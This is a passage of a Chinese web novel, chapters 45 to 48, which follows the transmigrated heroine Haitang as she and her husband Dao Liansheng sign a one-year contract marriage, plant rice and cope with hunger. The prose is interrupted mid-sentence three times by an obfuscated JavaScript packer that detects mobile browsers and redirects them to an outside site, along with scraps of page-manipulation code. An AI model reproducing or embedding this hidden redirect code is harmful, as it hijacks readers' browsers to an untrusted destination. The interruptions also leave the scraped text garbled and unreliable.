两人一时都没说话了。 月华温柔,极目处,山下那些层层叠叠的梯田,月光像在水里洒了一层碎银,波光粼粼。 海棠侧头看男人。 他实在是俊朗,她想不通自己那原身为什么要跑。 她忽的有点冲动,身子欺过去,脑袋一歪,把头轻轻地搁在刀莲生的肩头,“喂,我说,如果我们合得来,你觉得我不错,我也觉得你不错,咱们就做天长地久的真夫妻吧。” 刀莲生明显吃了一惊,偏过头来惊愕地望着她。 海棠给他看得有点不好意思。 这无意是女人在跟男人表白了。 她这是人生头一回啊。 她不愿给他看轻了,直起身坐好,长长吐出一口气,又说道:“其实我也不是那种麻缠的人,你也别整天愁眉苦脸的了,你看这样好不好?我提个建议。咱们就算是搭伙过日子吧。我给你洗洗刷刷,给你们家下地干活儿。如果你仍觉得你还是想要回那头骡子,那么你等我……”她不好意思说“等我找到下家”,改口说:“等我寻到出路,我就离开刀家。走的时候,骡子我一定还给你。折价也行,五两银子,我给你。便以两年为期好了。你把头骡驹养大到可以卖力气也需要两年的。你看这样可好?” 她就不信,两年时间,她还找不到另一条生路! 刀莲生仍侧着头注视着她,漆黑的眼张得大大的。 他好像在看一个傻子。 他这样看着她,是觉得她两年后归还他骡子或者给他五两银子的想法太天真,他笃定她是在欺哄他,所以看傻子一样看她? 海棠被他如此看着,微微着恼自己突然的见色起意倒把自己坑进去了,她大力推他一把,“我的提议怎么样?你倒是说个话呀。” 青年的脸膛背着月光,看上去更黑了,只有那双大双眼皮儿的眼,很亮。 这一刻,海棠有些自我怀疑起来。 他不回答,是不同意的意思吗? 可是,要说他对她没意思吧,可是昨晚上后半夜他又去偷偷把寨神林里的水潭清理干净。白天又担心她要离开,跟踪她。晚上又在她的窗洞前唱情歌。这些都算怎么回事呢?你要真对我一点别样的心思都没有,搞这些花样儿做什么? 你还亲口说了我比那头骡子重要。 “刀莲生,你是觉得我在哄骗你吗?哄你有什么意义?我家就在傅家庄,你要找随时都可以找上门去,所以我哄你有什么意义?” 男人仍是不答话,海棠忽然觉得很没劲儿。 只要不是傻子,都明白她刚才把头靠在他肩膀上的意思。后面那些啰啰嗦嗦的话,画蛇添足的话,不过是给自己找个台阶下。 但是这男人不愿接茬儿。 如此被拂了面子,她真恨不能找个地缝钻进去。 起身回屋。 上了台阶,正要抬脚跨进门槛。 “哎!”他喊住了她。 海棠回身看去。 刀莲生立在泥地上,抹一把脸,说:“一年……一年之内,如果你实在在这里过不惯,你随时可以走,只要把骡子还给我。一年后,无论如何你都不能反悔了,你还我骡子我也不要。嫁鸡随鸡嫁狗随狗,你要永远做我的妻,你答不答应?” 46. 第 46 章 他倒是会讨价还价,两年之约缩短为一年之期,一下子变被动为主动了。 可是一年时间她哪里去赚五年银子给他?那么他是刻意为之,其实目的是要赚她做他永远的妻么? 他立在院中,披着月华,静静地望着她,黑瞳如星。 这男人当真了…… 海棠忽然觉得压力山大。 自己的一时兴起,把自己陷进去了——那男人一副要她负责任的执拗模样。 那她就不得不认真地思考一下,当真要在这个世界嫁人生子,做个山里女人,在这种又穷又闭塞的大山里生活一辈子吗? 好像怕她误解了他的好意似的,刀莲生沉默了片刻,又很郑重地补充道:“时间长了,于你不太好。” 海棠听明白了他的意思。 时间长了,女人年纪越混越大,就更不值钱了。现在她还值一头骡子,再过两年三年,可能就值一只羊了。那时候再退婚或者和离,她三嫁困难。 一年又如何?她当真赖皮起来,挥挥衣袖就走了。 “好啊,我答应你。”海棠歪头看着因为自己长时间沉默、已有些手足无措的男人,开玩笑道:“要不要白纸黑字写下来啊?若我捱不过一年就跑了,你就拿着这份我签字画押的契书找我爹要骡子去。他若不给,你就拿着契书到衙门里去告他,跟他打官司,包你稳赢。要不要得?” 刀莲生起先听着,觉得荒谬,再一听说有了契书稳能要回骡子,衙门老爷给他做主,顿时眼睛亮了。 海棠失笑,“得,我去找纸笔来,这就白纸黑字写下来签字画押,谁也不许反悔。” 海棠就觉得这事儿挺好玩儿,不当真的,反正睡不着觉,她干脆进屋去翻箱倒柜地找纸笔,“我记得那天在哪里看到过你家里有纸和笔来着……” 刀莲生抹一把脸,也跨进屋来,对无头苍蝇一样忙乱的海棠道:“你别忙了,我去找纸笔来。” 他先把油灯点着,然后走到供着祖宗的神龛下,摸出了藏在里面的纸和笔,还有一方小小的砚台。 为了不把楼上的母亲和两个妹妹吵醒,他把竹凉床搭在海棠的卧房里,文房四宝放在凉床上。出去再拎来铜壶,倒了一点冷白开在砚台里,磨了二三十下,一切便准备就绪了。 两个人趴在卧房里搭建起来的竹凉床上,借着油灯的光,铺开宣纸。 刀莲生捉着毛笔在砚台里饱蘸浓墨,然后问海棠要怎么写。 海棠想了下,说:“抬头就写【和离书】三个字。” 刀莲生脸色一僵,微愠道:“我们刚才讲好的不是这样的。” 海棠忙笑着安抚他:“是是是,我只是说抬头。下面肯定还要写清楚双方必须要做到的事情啊。做不到,这份契约自动就变成和离书生效了嘛。” “哦。”刀莲生半信半疑。 海棠为了增加他的信任度,说:“大概这么写——我们约定,以一年为期。这一年呢,咱们两个就像是在一个屋檐下搭伙过日子的合作伙伴,互帮互助。我不是在你家白吃白住,我会努力干活儿,纺线织布、浆洗缝补、插秧割稻,样样都会干,干活儿不挑三拣四,拈轻怕重,总之我会尽量减少你家的负担。如果我俩实在凑不到一块儿,不足一年我便另寻出路,届时退还给刀家一头健骡。此为和离书,以此为凭,自此后男婚女嫁,各不相扰。” 刀莲生挠挠他的板寸短发,并不急着下笔,眸光微闪,然后他问出了海棠考虑过的问题:“万一你想走的时候,还不了骡子呢?或者拿不出五两银子来呢?我不想跟你爹打官司。” 海棠给问得噎住。 刀莲生似乎笃定她肯定拿不出来。 他也晓得傅万山绝对是要赖账的,因为他曾上门去要过账,傅万山只肯给他他女儿。 海棠几乎从刀莲生的眼底看见了他戏谑的笑意。 所以,他将的可不是她提出的“两年之约”的军,他看似退了一步,其实根本就是笃定她是他的妻了,她跑不掉的。 海棠有些羞恼,这契约什么的本也是玩笑之举,于是冲口便道:“这样吧,届时如果我家不退聘礼,也拿不出五两银子补偿你,你尽管把我发卖了,卖到大富人家家里去做丫头仆妇什么的。我相信,就算我嫁过人,但是我年轻,尚且还有点姿色,不可能连五两银子都卖不到。你就这样写上去!” 在寨子里的人前出没了几次,海棠没有忽略碧约寨里男人和女人看自己时那复杂的目光。尽管这里的人崇尚黑壮美,但是她这种白瘦美似乎给这里的人打开了审美新视界,让他们眼前一亮。他们也喜欢她这种样子的美。 刀莲生闻言,很吃惊,浓眉深蹙,沉声说:“我不会卖了你的。” 见状,海棠忙摇手,哭笑不得,“我就是开玩笑的。你这个人,不会开玩笑就算了,人家说的玩笑话你也听不懂。” 刀莲生很认真地看着她道:“不能拿这种事情开玩笑。” 海棠给他严肃的语气说得愣了愣,臊眉耷眼,“好,我不开玩笑了。” 刀莲生却愈加郑重其事起来,“把这个写进契约里。” “啊?”海棠噘了噘嘴,说:“行,你要写就写吧。这样,你对我提要求,公平起见,我也有要求要提。” “你说。既然是契约,大家约定好了,以后都要照办,不管是谁提出的。” 两个人于是在黄豆般大小的油灯下,头碰头,趴在凉床板上开始了讨价还价,商议条款怎么写,定下了契约,成了合约夫妻。 海棠:“我们就算圆房了,不到一年就提前做了真夫妻也没关系。夫妻之间肯定会为了柴米油盐酱醋茶和些鸡毛蒜皮的事情吵吵架,但是我们平时吵架,你不可以说出让人心寒的话,类似你走,你滚,你立刻从我眼前消失这类。如果你说了,和离的时候,骡子不予归还!” 刀莲生:“那你也不可以说后悔嫁给我,还把我比作猪,比作狗。” 海棠:“好好好,是我的错,我以后再也不这样说了。你快写吧,第一条,就是我刚才说的。第二条,就是你刚才说的。第三条,家里有好东西要先紧着媳妇儿。第四条,娘骂我打我,你要护着我。第五条……” 刀莲生抬头,看她一眼,厚嘴唇抿了抿,还是依言一条条一款款都写下来。 最后海棠说:“以上条款,男方若没做到,放任女方来去自如,骡子不予归还,银子不用补偿。女方若没做到,一年后安心跟着男人吃糠咽菜,相夫教子。” 写完后,刀莲生把契约从头到尾默读了一遍,总觉得哪里不对劲儿,可是他又说不上来。 海棠把契约书拿过去也默读了一遍,很满意。 最后两人签字画押。 海棠又把契约书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14403789|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看一遍,然后毫不客气地笑话刀莲生说:“你的字真丑。” 刀莲生就着灯光看她用毛笔写的名字,鬼画桃符一般,也好意思笑他?至少他写的一眼能辨认得出刀莲生三个字,其余的,也是每个字都能让人认得。 各自鄙视对方字丑,后知后觉,两人猛然反应过来,对方竟都会认字! 灯下,海棠端详着刀莲生写得还算方方正正的契约书,惊奇地道:“你家这么穷,你还能读书认字,可见婆婆是个很开明的人啊,她还晓得砸锅卖铁送你去读书呢。你习得是汉字,那得去山外头汉人的学堂里读书吧?你家以前肯定是富过的。” 刀莲生给她解释道:“我们窝尼人虽然生活在大山里,但是早就汉化了。因为天下都是汉人做皇帝,一朝又一朝。百年前汉人皇帝就曾派官员到我们这里来宣传教化我们这些化外之民,族人因此跟汉人打交道,也有汉人跑到我们这里来做生意。习得汉人文化多的窝尼人,还有机会在汉人衙门里做事。我们的头人就是受朝廷委派管理族人的官。因为会认字能够做官,我爹就进了朝廷开办的学堂,跟着汉人念了些书。后来他虽没做上官,不过考上了秀才,学问很高,回来后他就在寨子里开了学堂。我小时候跟着爹上了几年学。后来爹病殁了,我也就没再上学了。” “哦。” 刀莲生的爹一直缺席刀家人的生活,海棠不好问,今晚终于知道了。 “你呢,你又怎么会识字?”刀莲生问她。 他似乎比她更惊讶。 她是乡下女子,除了富贵人家家里的小姐会被教授琴棋书画,会认字,会做诗做赋外,乡下女子认字,简直天方夜谭。 海棠一笑,信口乱说道:“汉人女子会识字不是很正常的吗?你若是经常到山外头的世界看一看,就知道我们那里好女子的标准是,琴棋书画,样样精通。我爹娘打小将我往官夫人那方便培养的。他们就指望着我长大后能嫁进官家做官夫人,带着全家人实现阶层跃升,所以专门请了先生,自我五岁开始就教我读书认字呢。我也是苦读诗书,寒窗十年混出来的。不过琴棋方面,先生要价太贵了,我就没学了,就学会了读书认字。” 刀莲生微蹙着眉头看着她,“你娘亲口说的,别的女孩儿是十岁,你是八岁之后就不能随便出门了,在家专心学习女红。” “……”海棠一讶。 支支吾吾一时找不到自己会认字的理由。 倒不是她怕被刀莲生发现自己身上的秘密,只是事情若传到娘家那边去,娘家人肯定大吃一惊,事情就会变得复杂而麻烦了。 多一事不如少一事,所以事情最好只到刀莲生这里就打住。 海棠于是目光一凶,冲刀莲生低声嚷道:“你管我怎么会认字的!你现在又不是我的谁!一年后我们要是做了真夫妻,那会儿你再问这个问题!” 说罢海棠踢掉木屐爬上床去,只留个后脑勺给刀莲生,对他彻底来个置之不理。 刀莲生看看背对着自己已经卧床而睡的海棠,再看看身后的凉床,漆黑的眼闪了闪。 宣纸砚台毛笔都往床底下放好,他轻轻吹熄了蜡烛,脱了木屐,轻手轻脚地翻身躺上凉床。 当海棠平缓的呼吸声传入耳朵时,他侧过身来,借着窗洞投射进来的月光,看着那道苗条的背影缓缓地扬起嘴角,安心闭上眼,也进入了梦乡。 47. 第 47 章 两人和好后,转天就一起下田,三天时间便把剩下几块水田都耙完了。 水田耙好后,刀莲生又抢时间再给每块田都浇了一遍水粪肥。 去傅家退婚前他先已给田里洒了一遍粪水。这回是第二遍。 一家子明年一年的口粮就指望这几块水田里稻子的收成了,粪肥充足,稻秧长得好,到时候谷穗粒大饱满,结穗也才可能多。 只是家里没养什么牲畜,茅坑里粪水不多,几块水田勉强只浇了两挑粪,就把家里那个茅坑舀干了。 如今那茅坑里的粪水,跟大米白面一样金贵了。 运气好,田才耙好,天就下了一场及时雨,温度降下来。趁着天气凉快,碧约寨的人都赶忙栽起秧来。 刀家也急着抢农时,全家齐上阵。白桂景放下手里的麻线,带着两个女儿和儿子媳妇一起下田插秧。 育好的秧苗已经有齐膝深了。清早,刀莲生领着海棠先去育苗田里把秧苗拔起来,用谷草捆成一把一把的,再用粪箕挑到插秧田去,然后将一把把秧苗用力抛进田中央。隔一段距离抛几把秧苗,以便插秧的时候取用方便。直到把秧苗抛扔得满田都是。 田里,白氏已经指挥大女儿刀莲荷布好了准线。 一条长麻线,两头分别拴在一根长木棍上。在贴近田坎的一头插一根棍子,展线往里走,直到把另一根棍子插到对面去,一条直线便在田中央牵好了。用此方式能确保稻秧栽得整齐又美观。 剩下的时间,便是一直弯着腰身,齐着那条麻线,把一颗颗秧苗深深地插进水田下的淤泥里。秧苗之间间隔大约一拃的距离,就是十五厘米左右。 插完一排,众人往后退一步,重新牵线,排兵布阵一般。 两行稻秧之间也有间隔,大约一米,以便保证稻秧有足够的生长空间接受阳光和粪肥。 插秧的活儿不累人,所以刀家人不认为这是下力气的农忙时候,吃的跟平时没差,并且还是一日两顿。 但是插秧的时候,要长时间弯着腰身,这个很累人。 海棠没干过这农活儿,插完一行,要退走插下一行的时候,她得缓好一阵才能把腰身直起来。因为动作慢,没少被刀莲荷唾弃。 刀莲荷在最里头,负责牵线。插完了一行,她就把木棍拔起来,往后插下一行。海棠站在中间挡着麻线了,她立刻大声嚷叫起来。 海棠也没法反驳。刀莲生已经几乎干了她和他两个人的活儿了。 一条宽约二十来米的水田,五个人站一排一起插,每个人就负责插四米长的稻秧,连莲叶的动作都比她快。她能有话说?一点怼人的底气都没有。 白氏年纪大了,不能长时间弯着腰身,做不了一整个上午,晌午时候她就和小女儿回去做饭了。 因为山里人吃晌午饭基本都是下午两点左右,婆婆和小姑子回去做饭的时候,还没习惯的海棠,肚子就开始咕噜咕噜狂叫起来。 当远远看见刀家那灶屋茅草顶上的泥烟囱冒出缕缕青烟时,海棠觉得自己已经饿得浑身冒虚汗了。 真饿呀。 前几天跟着刀莲生耙田还不觉得如此饿。只因她那时候就是站在犁耙而已,一点力气都不需使。现在可不一样,手上动作要快,不然就拖了刀家的后腿,插完了一行,麻线就要往后移动。他们都是熟手,海棠为了跟上他们的进度,中途都不歇口气。 还要一直弯着腰。 所以,这插秧的活儿,对她而言,就是下大力气的活儿。 白氏走后,剩下三个人都有些松懈。 只因刀莲生站中间插秧,家里两个女人,大妹妹刀莲荷和媳妇海棠负责从中间往两端插过去。他有意放慢速度,挡着麻线,刀莲荷不好冲哥哥嚷叫,速度就这么放慢下来了。 到晌午的时候,田里的老人和女人基本上都回去做饭了,剩下些精壮劳动力。到这时候,都有些懈怠起来。捱磨着时间,只等家里人来喊回家去吃饭哩。 刀家水田挨着的那几块乡邻的田,下田来干过活儿的男人女人,对海棠印象深刻。插秧子热火朝天,不知哪个先起的头,冲这边三人大喊:“哎,莲生家媳妇,再把你们汉家的歌儿唱几个来听听。” 马上就有好几块水田里的人跟着起哄。 刀莲生有些惊讶,没想到自己这妻子,几乎从没跟乡邻们说过话,就几天前她显摆过一回,这就让好些人惦记上了。 婆婆在的时候,海棠不敢放肆。但是白氏回家去了,她也想偷一下懒。有人点名要她唱歌,海棠就直起身来,响脆地答应了一声,清清嗓子就开唱—— 哎嗨哟,哎嗨哟 心中的哥哥哟,哎嗨哟。 你在山的那一边, 我在这圪梁梁上看, 叫一声那哥哥你么听见, 你是妹妹的心尖尖。 山峁峁上看得远, 还是那张家畔。 抱一抱那要命的亲哥蛋, 你是妹妹的心肝肝。 …… “莲生媳妇,莲生就在你旁边,你想抱就抱,想亲就亲呗。” 年轻的汉子女人大笑成一团。 刀莲生烧得脸颊发烫,腰都不敢直起来。 一曲唱完,众人又喊:“莲生媳妇儿,再来一个!” 海棠又饿又累,率性了一回后,笑着冲大家摇摇手,表示唱不了了。 这插秧的活儿跟她想象中差距巨大。 这时候,海棠好怀念绩麻的活计啊,插秧子比起它来,真是大巫见小巫了。 午饭吃的是红苕煮稀饭,下饭菜仍旧是那个一成不变的烤辣椒碎。 稀饭每人一大碗,可是水掺得多,米粒几乎都数得清楚,红苕则有好几大坨,可这种吃食根本就不经饱,还不如那个玉米豆子饼填肚子。 这稀饭喝下去,上个茅厕窝一泡尿就又觉得饿了。 关键是,她自打来了这个世界,就没沾过一回荤腥! 油水都没喝过一回! 没有油水就没有力气啊。 没吃过一口油水也就罢了,半个多月了没一天吃过饱饭。下午继续去田里插秧,海棠觉得自己走路人在打飘,脚好像都是浮着的了。 到傍晚收工回家,她强忍饥饿和疲惫,拖着双腿捶着酸痛的腰肢去灶屋烧了一锅水,洗完澡后就扑到床上去,又饿又累,累大过于饥饿,以至于她沾床就睡着了。 刀莲生进屋来拿自己的换洗衣裳,看见海棠竟已在床上沉沉地睡着了,有些惊讶。 这会儿天时还早啊,才将将天黑。 他再细看。 女人的脸色不大好,有些菜色。眼眶周围还有一片阴影,下巴尖尖的。——这看着好像又瘦了。 刀莲生抿了抿唇,抹一把脸,暗叹口气,更加放轻了手脚上的动静。 他打开衣柜,翻找一番,只找到干净衣服,没有裤子了。 夏天的筒裤,新的旧的,他统共有四条。除开身上这一条,剩下三条都给女人穿了。 这几天下田,海棠穿的都是他的裤子。她几乎天天洗澡更换衣裳,今天莲叶也下田了,换下的衣裳就还没来得及洗,已经堆了半背篓了。 今天只好暂时不换裤子了。 刀莲生去牲畜棚里囫囵洗了个热水澡,然后就把那半背篓脏衣服提到院坝边清洗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411331|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>因为海棠每回自己洗澡,也会给他烧好洗澡水。跟着她,洗澡洗得勤,衣裳自也换得勤了。天天更换,当然不脏。不过是有些汗臭味儿罢了。 用剩下的洗澡水把脏衣服搓洗个头道,再在清水里荡几下,衣裳就洗好了。拧干,挂起来。 山里已经入了夏,这天气,又吹着山风,晾一晚上,衣裳准能干。她明早起来就有得换了。 刀莲生甩着手上的水渍跨进堂屋,母亲和妹妹们在绩麻。 家里头麻收回来的麻筋,在母亲夜以继日的操持下,已经快要全部变成麻线了。等到秧子插完,闲下来,有了大量的时间,这些麻线很快就能织成布了。 刀莲生这段时间有些累。 家里一半的水田几乎都是他人工耙出来的。没休息过一天,又开始插秧。刚又洗了一盆衣服,他现在只想休息,一点不想再做事了。 墙上布袋子里抓了一把烟叶来,卷成卷儿插进水烟筒里,悠悠地吸上一筒解解乏。 时间悄然流逝,一个时辰后白氏喊女儿们收拾起身,上楼睡觉。 刀莲生喊住母亲,问今年麻布的分配。 “留个三成让莲荷做嫁妆,其余的都卖了。”白氏说。 刀莲荷今年已经十六岁了,别的姑娘十四岁就有人提亲,把亲事说好了,基本上十五岁就出嫁。白氏想让女儿在家多做几年活儿,至今还没给她说亲。 按照往年的估算,三成头麻做成的布,做不了多少嫁妆的。两三身衣裳,两床被单。太寒酸。莲荷肯定闹嚷。 其实去年就开始准备了,但是也没给她留多少。想要积攒到丰厚的嫁妆风风光光嫁出去,起码要等十六七岁了。 刀莲生又暗叹口气。 想了想,对母亲道:“娘,我记得去年是不是还剩了一块布?当时你说给我……给我新媳妇儿做衣裳来着。” 白氏愣了下,一拍额头,“是是,去年还有一块,是给你媳妇儿留着的。” 刀莲生忙道:“娘,海棠她没什么衣裳。有也是裙子,不方便干活儿。能不能把那块布拿出来给她裁两身衣裳穿?就我们窝尼家女人穿的那种,短的,费不了多少布,去年你留的那块兴许能做出来两身来。她就有得换了。” 海棠这几日穿的刀莲生的裤子,刀家几个女人都看出来了。 毕竟她一直穿裙子来着,冷不丁穿了条黑黢黢的粗麻筒裤,自然引人注目。再一细看,那裤子的裤筒又大又长,便就猜到是刀莲生的了。 刀莲荷背后还在白氏跟前笑话了海棠来着。 自那天吵架后刀莲生把凉床搬进海棠的卧房,晚上顺势就在里面搭床睡的。海棠一直没说什么,刀莲生也就假装这是理所当然的事情,凉床再没有搬出来过。所以这两日,刀莲生都同海棠睡的一个屋。 起先白氏还高兴来着,可结果卧房那块布帘子只有半截,她就无意中看见了里面的凳子腿,撩开帘子一看,原来只是她儿子把床搭到了卧房里睡而已。 此时听儿子要她给儿媳妇做衣裳,白氏就问:“你们圆房了吗?” 刀莲生顿时红了脸,不自在道:“娘,你问这干嘛?” 白氏道:“我肯定要问啊。没圆房,她就不算我们家的人。” 刀莲生皱着眉头道:“娘,这事儿我说过了,要慢慢来。” 白氏便就发话道:“行吧。那就啥时候她同你圆房了,啥时候再给她做两身穿的。” 刀莲生还想争取,“她没穿的,干活儿不便啊。” 但是白氏仍坚持道:“你们到现在都还分开睡觉的,给她做衣裳,不是肉包子打狗吗?不做!” 刀莲生只好作罢。 48. 第 48 章 睡到半夜的时候刀莲生似有所觉,猛然惊醒过来,张开眼就看见海棠蹲伏在他的竹凉床边。借着头顶上窗洞外的月色,只见她眼睛里一点幽光,他又狠狠吃了一惊,睡梦全给吓没了,立刻翻身坐起来道:“你干什么?” 海棠伸手抓住他滑到腰间的薄被,先瞄了眼他裸露出来的胸膛,视线还要往下,刀莲生一把将被子抓回去紧紧缠在腰上,手背在身后死死捏着两个被角。 海棠不满地扁扁嘴,然后才说:“我饿,饿。我受不了了,我坚持不下去了,我习惯不了只吃两顿饭。” 刀莲生:“……” 呃,尽管白纸黑字把帐算得清,人走骡子退回来,还曾翻过脸,但是该向他喊饿的时候还是要喊饿。该求人还是要求人。海棠就是这么个精致的利己主义者。 刀莲生捏了捏眉心,一来为确认下他的妻子的确是正蹲在他床边喊饿,他不是在做噩梦。二来,留点余暇想想怎么应对这个情况。 腰间的被子又在往下滑,刀莲生慌忙撒开捏着眉头的手,再度去把薄被紧紧抓住,然后不动声色拨开女人的手,“我一早就说过我家穷的,我也说过现在是青黄不接之季,是你坚持要……” 海棠不耐烦他车轱辘算那笔老账,“我来都来了,你就得对我负责。我饿,好饿呀,你都不心疼我。” 心疼呀,可是—— 刀莲生磕巴起来,“你们,你们汉人说过一句话,出嫁从夫,那你得跟着我一起吃苦受……” 海棠抢着说:“对啦,你这会儿既然要用汉人的规矩约束我,那我们汉人一天至少要吃三顿饭,宵夜就免了,我也不管一日是两顿还是三顿,总之你不能让我饿着呀。” 刀莲生:“……” 每次同她说话,一旦讲起道理来,他总是落下风。 倒也不是争不过,而是她根本就是胡搅蛮缠。 当初媒人介绍她的时候,说她除了嫁过一回美中不足外,其他方面简直是贤妻良母的典范。媒人说她自小受到严格的家教,待人接物十分得体,纺线织布心灵手巧,茶饭手艺利落精致,上孝公婆下侍丈夫殷勤备至……可是嫁到家里这阵子,除了最后一点勉强称得上外,其余优点可是一点没看出来。倒是我行我素,让他印象深刻。 现在想来,怕是因为一来她嫁过人,二来因着她品行不大好,媒人为了促成这桩婚事,才极力在他们面前把她说得天花乱坠般的好,以至于母亲宁愿舍得拿出家里最值钱的骡子为他聘了她。 不过,虽然未娶海棠之前,他一直以为一个听话的妻子才是他想要的。 就像隔壁的堂嫂、堂兄的妻子田凤兰,就是母亲和堂伯娘眼中理想的儿媳妇,也是他之前未娶妻之前想象中的妻子的模板,可是他看堂兄并不是很喜欢那女子。偶尔他在路上碰到那位堂嫂子,见女人温良贤淑听话的模样,就像个很好搓揉的面团,对比之后却想,她很无趣。 所以,他心里不得不承认,现在这样的妻子,讨不到母亲的欢心,大妹子也不喜欢她,尽管跟他一起生活没几天也拌过好几回嘴了,但是他却是越来越深陷,只想将她永远困在这里…… “我好饿呀,好饿呀。”海棠还揪着他的被子低低的叫唤。 “……”刀莲生回过神来,想了想,说:“要不,我去给你煮一碗面汤喝吧。”说着捞起搭在脚那头床沿的衣裤,先把褂子套在身上,穿裤子时见海棠蹲在腿边不动,他不好掀开被子下地,“你——” 海棠只说:“我不要,喝水根本不管饱。” 他耐心道:“不是水,是面汤。我给你多抓把面粉搅合进去。” “也是水,而且寡淡没味儿。我饿,饿,我没人疼。”海棠捉着他盖在腹部的薄棉被玩儿似的一揪一提,风就从她提的那一下灌进来,他下半截身子凉凉的。 要命,她能不能先让他下床穿上衣服裤子后再说话?? 她是真饿得不行了吗?他瞧着她很有生气啊! 刀莲生给缠得没法,又是深夜了,只得细声细气好言相劝,“现在青黄不接,再过两个月等地里的包谷熟了,就能吃饱了。你再忍忍。” “忍不了啊,还有两个月呢,两个月后我都饿得只剩皮包骨头了,一点都不好看。” 刀莲生:“……” 填饱肚子才是大问题吧,只要你自己不在意容貌,谁会在意你好看不好看? 而且你都已经嫁进我家了,契书也签了,好看不好看,我也不会在意了……不过……刀莲生瞥了一眼海棠那张杏脸桃腮。 她要瘦脱了相,的确是不好看。不好好呵护,犹如暴殄天物。 真是的,长得这样好看的女人,男人都会忍不住想尽一切办法怜爱她啊。 刀莲生挠挠头皮,很苦恼。 家里穷得叮当响,还能给她弄点什么吃的充饥啊?? 海棠用力抓住被他捉着的被子扯了扯,“哥哥,我饿,我好饿,你心疼心疼我。” 一声“哥哥”喊得刀莲生心弦颤动,他喉结上下一滚,缓声:“缸里……谷仓的米缸里好像还有最后两块糍粑。不过,今宵吃了,以后可就再没有了哦。” 翌日是个大晴天。 早早的,天际边就悬着一条金光灿烂的金线了。 插秧时节,庄稼人都要吃了早饭才下田,不然没力气干活儿。 刀家人也是如此。 最早起来的还是这家里的男人和最小的孩子。 刀莲生第一个起床,他天不亮就出去挑水了,要挑满那口大水缸。小妹子莲叶第二个起来,烙饼子。她这边早饭做好,刀莲生动作快,连牛圈都打扫干净了。这时候,其余的刀家人也陆续起来了,洗了手脸就吃饭。 早饭就没午餐吃得那么正式了,蔑桌也不用摆,吃的东西就搁在灶台上,每个人去拿了自己那份饼子,再舀一碗面汤,然后就一手端着碗,一手拿着饼,或坐在灶膛边,或蹲在外面屋檐下,或者站到地坝里去,三两下吃完了就赶紧下田去了。 刀莲生同母亲站在地坝边,一边吃东西,一边讨论着这几日家里活计的安排。 白氏今日起床,那腰仍有些直不起来,走路都弓着身,刀莲生就说让母亲就在家里绩麻做饭算了,让小妹子莲叶跟着去做半日就行了。剩下半日,莲叶回来把其他家务活儿做了,洗衣服,以及准备牛吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418578|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草饲料。 家里如今,堪堪可以算得上有三个精壮劳动力了,他、莲荷和海棠。家里统共六块水田,昨日已经插完最大的那块田,剩下五块。三个人,快则四日,慢着五日,肯定能把所有秧田都插完。 白氏抬头看看太阳,说:“又热起来了。我先跟着你们插两日再说吧,我还能坚持。这天气,一日热似一日。先头寨佬说要祭祀的事情也还没最终的的定论。早一日把秧子插完了,农忙过了,管他们最后决定要怎么搞,又要搞几日,我们都不得心慌了。” 闻言,刀莲生便不再劝了。 这时候,最晚起床的刀莲荷,去灶头拿了饼子和面汤,一边吃,一边走过来,悄声喊了声哥,一脸嬉笑,“你媳妇儿在发癫诶,我看见她在生吃鹅儿草。” 刀莲生和白桂景对视一眼,白氏斥责刀莲荷,“那是你嫂子,别没你媳妇儿媳妇儿的喊,显得我们家没教养。” 刀莲荷不服气地一哼声,端着面汤碗坐到旁边凳子上去了,把脚翘在地坝边那根当栏杆用的矮条石上。 刀莲生三两下吃完了饼子,把面汤喝干净,嘴巴一抹,往灶屋去瞧媳妇儿。 进屋就看见海棠站在石案边,面前一个筲箕,筲箕里面才洗好的一把鹅儿草,水都还在滴,她一小撮一小撮抓着往嘴里塞,看着狼吞虎咽模样,却吃得很痛苦,脸都扭曲了。 刀莲生吃了一惊,“你这是在做什么?” 海棠回过头来,嘴里包着一包草,边咀嚼,边含糊地回道:“我便秘了。” “啥?”刀莲生听不懂。 海棠把嘴里的草快速嚼嚼碎了后硬吞下肚去,又抓起一小把,抹了抹嘴,才对刀莲生苦着脸又说道:“顿顿都是吃辣椒下饼子,我吃得都上火了,好几天拉不出粑粑。昨晚上又吃了两个烤糍粑,早上就特别想拉,腹部胀得难受,可是我去茅厕蹲了半天都拉不出来,屁股火辣辣地疼,快把我憋死了。” 刀莲生:“……” 刀莲生面色古怪,支吾说:“你,你吃草能解决个啥?” “鹅儿草清热解毒。昨天下田的时候我看见路边有,都开花了,一早去薅了几把回来。不知道有用没用,从前没试过,我现在试试。不然咋办呢?死马当活马医嘛。” 